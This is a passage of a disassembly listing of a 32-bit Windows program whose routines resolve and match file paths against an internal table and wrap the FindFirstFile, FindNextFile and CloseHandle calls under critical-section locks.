		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_30], 1
		jmp	short loc_4130CB
; ---------------------------------------------------------------------------


loc_4130C7:				; CODE XREF: sub_413056+5Cj
		and	[ebp+var_30], 0


loc_4130CB:				; CODE XREF: sub_413056+6Fj
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	loc_413173
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_1C]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_413140
		push	[ebp+var_1C]
		call	sub_418F16
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_41311F
		push	ds:off_4214F0
		push	1Fh
		push	ds:off_4214F4
		call	sub_41BB7C


loc_41311F:				; CODE XREF: sub_413056+B4j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		push	0FFFFFFFFh
		mov	[ebp+var_38], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	short loc_413175
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413056+A0j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41314B
		jmp	short loc_413173
sub_413056	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41314B	proc near		; CODE XREF: sub_413056+EEp
					; DATA XREF: _4:004212C0o
		mov	eax, ds:dword_424864
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short loc_413166
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection


loc_413166:				; CODE XREF: sub_41314B+Cj
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41473F
		retn
sub_41314B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_413056


loc_413173:				; CODE XREF: sub_413056+40j
					; sub_413056+4Aj ...
		xor	eax, eax


loc_413175:				; CODE XREF: sub_413056+E8j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_413056

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413186	proc near		; CODE XREF: sub_413272+1B5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	short loc_4131A7
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		repe cmpsb
		jnz	loc_41326A


loc_4131A7:				; CODE XREF: sub_413186+Cj
		push	5Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413236
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax],	1
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 80h
		jbe	short loc_4131E6
		xor	eax, eax
		jmp	loc_41326C
; ---------------------------------------------------------------------------


loc_4131E6:				; CODE XREF: sub_413186+57j
		mov	ecx, [ebp+var_C]
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+arg_4]
		mov	edi, offset byte_4247C4
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_C]
		and	ds:byte_4247C4[eax], 0
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], offset	byte_4247C4
		push	offset byte_4247C4
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_41006B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		jmp	short loc_41326C
; ---------------------------------------------------------------------------


loc_413236:				; CODE XREF: sub_413186+38j
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_41006B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		mov	eax, [ebp+var_10]
		jmp	short loc_41326C
; ---------------------------------------------------------------------------


loc_41326A:				; CODE XREF: sub_413186+1Bj
		xor	eax, eax


loc_41326C:				; CODE XREF: sub_413186+5Bj
					; sub_413186+AEj ...
		pop	edi
		pop	esi
		leave
		retn	14h
sub_413186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413272	proc near		; CODE XREF: sub_41365E+56p
					; sub_4136FE+90p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041364B SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4212C8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		push	offset dword_424848
		call	ds:dword_424644	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		cmp	ds:dword_424888, 0
		jnz	short loc_4132C8
		push	0FFFFFFFFh
		and	[ebp+var_4C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4C]
		jmp	loc_41364D
; ---------------------------------------------------------------------------


loc_4132C8:				; CODE XREF: sub_413272+3Bj
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, ds:dword_424888
		add	eax, 114h
		push	eax
		push	104h
		push	[ebp+arg_0]
		call	ds:dword_424688	; GetFullPathNameA
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		mov	eax, ds:dword_424888
		add	eax, 114h
		push	eax
		call	ds:dword_424748	; CharUpperBuffA
		mov	ecx, [ebp+var_28]
		call	sub_41546E
		mov	eax, ds:dword_424888
		mov	eax, [eax+0Ch]
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_30], 0
		mov	eax, ds:dword_424888
		mov	ecx, [eax+21Ch]
		mov	edi, ds:dword_424888
		add	edi, 10h
		mov	esi, ds:dword_424888
		add	esi, 114h
		xor	eax, eax
		repe cmpsb
		jnz	loc_413634
		mov	eax, ds:dword_424888
		mov	eax, [eax+21Ch]
		mov	ecx, ds:dword_424888
		lea	eax, [ecx+eax+114h]
		mov	[ebp+var_3C], eax
		and	[ebp+var_38], 0
		push	5Ch
		push	[ebp+var_3C]
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jz	short loc_413389
		mov	eax, [ebp+var_34]
		sub	eax, [ebp+var_3C]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4133B5
; ---------------------------------------------------------------------------


loc_413389:				; CODE XREF: sub_413272+109j
		mov	eax, ds:dword_424604
		mov	eax, [eax+24h]
		and	eax, 20h
		test	eax, eax
		jnz	short loc_4133B1
		push	0FFFFFFFFh
		and	[ebp+var_50], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_50]
		jmp	loc_41364D
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_413272+124j
		and	[ebp+var_38], 0


loc_4133B5:				; CODE XREF: sub_413272+115j
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		test	ecx, ecx
		jnz	short loc_4133D1
		cmp	[ebp+arg_8], 0
		jnz	short loc_4133D1
		jmp	loc_41360B
; ---------------------------------------------------------------------------


loc_4133D1:				; CODE XREF: sub_413272+152j
					; sub_413272+158j
		cmp	[ebp+arg_8], 0
		jz	short loc_4133F4
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_4133F4
		mov	eax, [ebp+arg_8]
		mov	ecx, ds:dword_424888
		mov	eax, [eax]
		sub	eax, [ecx+8]
		sar	eax, 4
		inc	eax
		mov	[ebp+var_1C], eax


loc_4133F4:				; CODE XREF: sub_413272+163j
					; sub_413272+16Bj
		jmp	short loc_4133FD
; ---------------------------------------------------------------------------


loc_4133F6:				; CODE XREF: sub_413272:loc_413432j
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_4133FD:				; CODE XREF: sub_413272:loc_4133F4j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnb	short loc_413434
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		push	dword ptr [eax]
		push	[ebp+var_38]
		push	[ebp+var_3C]
		call	sub_413186
		test	eax, eax
		jz	short loc_413432
		jmp	short loc_413434
; ---------------------------------------------------------------------------


loc_413432:				; CODE XREF: sub_413272+1BCj
		jmp	short loc_4133F6
; ---------------------------------------------------------------------------


loc_413434:				; CODE XREF: sub_413272+191j
					; sub_413272+1BEj
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnb	loc_41360B
		mov	edi, [ebp+var_2C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_48], ecx
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_4134CC
		jmp	short loc_413461
; ---------------------------------------------------------------------------


loc_41345A:				; CODE XREF: sub_413272:loc_4134CAj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_413461:				; CODE XREF: sub_413272+1E6j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_1C], eax
		jnb	short loc_4134CC
		mov	eax, [ebp+var_1C]
		inc	eax
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		mov	edi, [eax]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_48]
		add	eax, [ebp+var_38]
		cmp	ecx, eax
		jb	short loc_4134C8
		mov	ecx, [ebp+var_48]
		add	ecx, [ebp+var_38]
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	edx, ds:dword_424888
		mov	edx, [edx+8]
		mov	eax, [edx+eax]
		mov	edi, [eax]
		mov	eax, [ebp+var_1C]
		inc	eax
		shl	eax, 4
		mov	edx, ds:dword_424888
		mov	edx, [edx+8]
		mov	eax, [edx+eax]
		mov	esi, [eax]
		xor	eax, eax
		repe cmpsb
		jz	short loc_4134CA


loc_4134C8:				; CODE XREF: sub_413272+21Fj
		jmp	short loc_4134CC
; ---------------------------------------------------------------------------


loc_4134CA:				; CODE XREF: sub_413272+254j
		jmp	short loc_41345A
; ---------------------------------------------------------------------------


loc_4134CC:				; CODE XREF: sub_413272+1E4j
					; sub_413272+1F6j ...
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_38]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	[ebp+var_40], ecx
		mov	eax, [ebp+var_40]
		mov	eax, [eax]
		mov	[ebp+var_44], eax
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		stosd
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		add	edi, 2Ch
		rep stosd
		cmp	[ebp+var_48], 104h
		jnb	short loc_413525
		mov	eax, [ebp+var_48]
		mov	[ebp+var_54], eax
		jmp	short loc_41352C
; ---------------------------------------------------------------------------


loc_413525:				; CODE XREF: sub_413272+2A9j
		mov	[ebp+var_54], 104h


loc_41352C:				; CODE XREF: sub_413272+2B1j
		mov	ecx, [ebp+var_54]
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+arg_4]
		add	edi, 2Ch
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		add	edi, 130h
		stosd
		stosd
		stosd
		stosw
		cmp	[ebp+var_48], 0Eh
		jbe	short loc_413565
		mov	[ebp+var_58], 0Eh
		jmp	short loc_41356B
; ---------------------------------------------------------------------------


loc_413565:				; CODE XREF: sub_413272+2E8j
		mov	eax, [ebp+var_48]
		mov	[ebp+var_58], eax


loc_41356B:				; CODE XREF: sub_413272+2F1j
		mov	ecx, [ebp+var_58]
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+arg_4]
		add	edi, 130h
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		movzx	eax, [ebp+var_30]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_44]
		mov	ecx, [ecx+8]
		mov	[eax+20h], ecx
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+4], edx
		mov	eax, [eax+20h]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+0Ch], edx
		mov	eax, [eax+20h]
		mov	[ecx+10h], eax
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+14h], edx
		mov	eax, [eax+20h]
		mov	[ecx+18h], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4135F2
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_40]
		mov	[eax], ecx


loc_4135F2:				; CODE XREF: sub_413272+376j
		push	0FFFFFFFFh
		mov	[ebp+var_5C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_5C]
		jmp	short loc_41364D
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413272+15Aj
					; sub_413272+1C8j
		cmp	[ebp+arg_8], 0
		jz	short loc_41362C
		mov	eax, ds:dword_424888
		mov	eax, [eax+0Ch]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx


loc_41362C:				; CODE XREF: sub_413272+39Dj
		push	12h
		call	ds:dword_42470C	; RtlRestoreLastWin32Error


loc_413634:				; CODE XREF: sub_413272+D1j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41363F
		jmp	short loc_41364B
sub_413272	endp


; =============== S U B	R O U T	I N E =======================================



sub_41363F	proc near		; CODE XREF: sub_413272+3C6p
					; DATA XREF: _4:004212D0o
		push	offset dword_424848
		call	ds:dword_4246D4	; RtlLeaveCriticalSection
		retn
sub_41363F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_413272


loc_41364B:				; CODE XREF: sub_413272+3CBj
		xor	eax, eax


loc_41364D:				; CODE XREF: sub_413272+51j
					; sub_413272+13Aj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_413272

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41365E	proc near		; CODE XREF: sub_41D96A+Ep
					; sub_41D997+7Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		or	dword ptr [eax], 0FFFFFFFFh
		push	0Ch
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41369B
		mov	eax, [ebp+var_8]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_41369F
; ---------------------------------------------------------------------------


loc_41369B:				; CODE XREF: sub_41365E+1Fj
		and	[ebp+var_C], 0


loc_41369F:				; CODE XREF: sub_41365E+3Bj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	dword ptr [eax], 0
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413272
		test	eax, eax
		jz	short loc_4136F8
		push	0
		push	[ebp+arg_0]
		call	sub_41C9BA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+8], 0
		push	[ebp+var_4]
		push	[ebp+var_4]
		mov	ecx, ds:dword_42486C
		call	sub_410000
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short locret_4136FA
; ---------------------------------------------------------------------------


loc_4136F8:				; CODE XREF: sub_41365E+5Dj
		xor	eax, eax

locret_4136FA:				; CODE XREF: sub_41365E+98j
		leave
		retn	0Ch
sub_41365E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136FE	proc near		; CODE XREF: sub_41DC5C+12p
					; sub_41DC8D+19p

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00413825 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4212E8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_42486C
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_413744
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_413748
; ---------------------------------------------------------------------------


loc_413744:				; CODE XREF: sub_4136FE+31j
		and	[ebp+var_24], 0


loc_413748:				; CODE XREF: sub_4136FE+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	loc_413825
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_42486C
		call	sub_41EB4C
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_4137FE
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_413798
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	sub_413272
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_413798:				; CODE XREF: sub_4136FE+82j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jnz	short loc_4137E5
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4137D1
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	ds:dword_424650	; FindFirstFileA
		mov	ecx, [ebp+var_1C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		setnz	cl
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx
		jmp	short loc_4137E5
; ---------------------------------------------------------------------------


loc_4137D1:				; CODE XREF: sub_4136FE+A9j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		call	ds:dword_424654	; FindNextFileA
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_4137E5:				; CODE XREF: sub_4136FE+A0j
					; sub_4136FE+D1j
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_413827
; ---------------------------------------------------------------------------


loc_4137FE:				; CODE XREF: sub_4136FE+6Fj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_413809
		jmp	short loc_413825
sub_4136FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413809	proc near		; CODE XREF: sub_4136FE+104p
					; DATA XREF: _4:004212F0o
		mov	eax, ds:dword_42486C
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_413824
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_413824:				; CODE XREF: sub_413809+Cj
		retn
sub_413809	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4136FE


loc_413825:				; CODE XREF: sub_4136FE+50j
					; sub_4136FE+109j
		xor	eax, eax


loc_413827:				; CODE XREF: sub_4136FE+FEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4136FE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413838	proc near		; CODE XREF: sub_41473F+CEp
					; sub_41DC35+Bp

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00413959 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4212F8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_42486C
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_41387E
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_413882
; ---------------------------------------------------------------------------


loc_41387E:				; CODE XREF: sub_413838+31j
		and	[ebp+var_2C], 0


loc_413882:				; CODE XREF: sub_413838+44j
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_413959
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_42486C
		call	sub_41EB4C
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_413932
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_4138C2
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		call	ds:dword_424624	; CloseHandle


loc_4138C2:				; CODE XREF: sub_413838+7Cj
		push	[ebp+arg_0]
		mov	ecx, ds:dword_42486C
		call	sub_41EBBB
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_41390C
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_41BACD
		pop	ecx
		push	1
		pop	eax
		and	eax, 1
		test	eax, eax
		jz	short loc_413904
		push	[ebp+var_20]
		call	sub_41BACD
		pop	ecx


loc_413904:				; CODE XREF: sub_413838+C1j
		mov	eax, [ebp+var_20]
		mov	[ebp+var_38], eax
		jmp	short loc_413910
; ---------------------------------------------------------------------------


loc_41390C:				; CODE XREF: sub_413838+A5j
		and	[ebp+var_38], 0


loc_413910:				; CODE XREF: sub_413838+D2j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 1
		push	0FFFFFFFFh
		mov	[ebp+var_3C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_41395B
; ---------------------------------------------------------------------------


loc_413932:				; CODE XREF: sub_413838+6Fj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41393D
		jmp	short loc_413959
sub_413838	endp


; =============== S U B	R O U T	I N E =======================================



sub_41393D	proc near		; CODE XREF: sub_413838+FEp
					; DATA XREF: _4:00421300o
		mov	eax, ds:dword_42486C
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short locret_413958
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_413958:				; CODE XREF: sub_41393D+Cj
		retn
sub_41393D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_413838


loc_413959:				; CODE XREF: sub_413838+50j
					; sub_413838+103j
		xor	eax, eax


loc_41395B:				; CODE XREF: sub_413838+F8j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_413838

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41396C	proc near		; CODE XREF: sub_41E519+20p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00413ACF SIZE 000001F8 BYTES
; FUNCTION CHUNK AT 00413D31 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421308
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_20], 0FFFFFFFFh
		or	[ebp+var_28], 0FFFFFFFFh
		and	[ebp+var_2C], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_24], 0
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_414344
		test	eax, eax
		jz	loc_413D31
		cmp	[ebp+var_20], 0FFFFFFFFh
		jz	loc_413D31
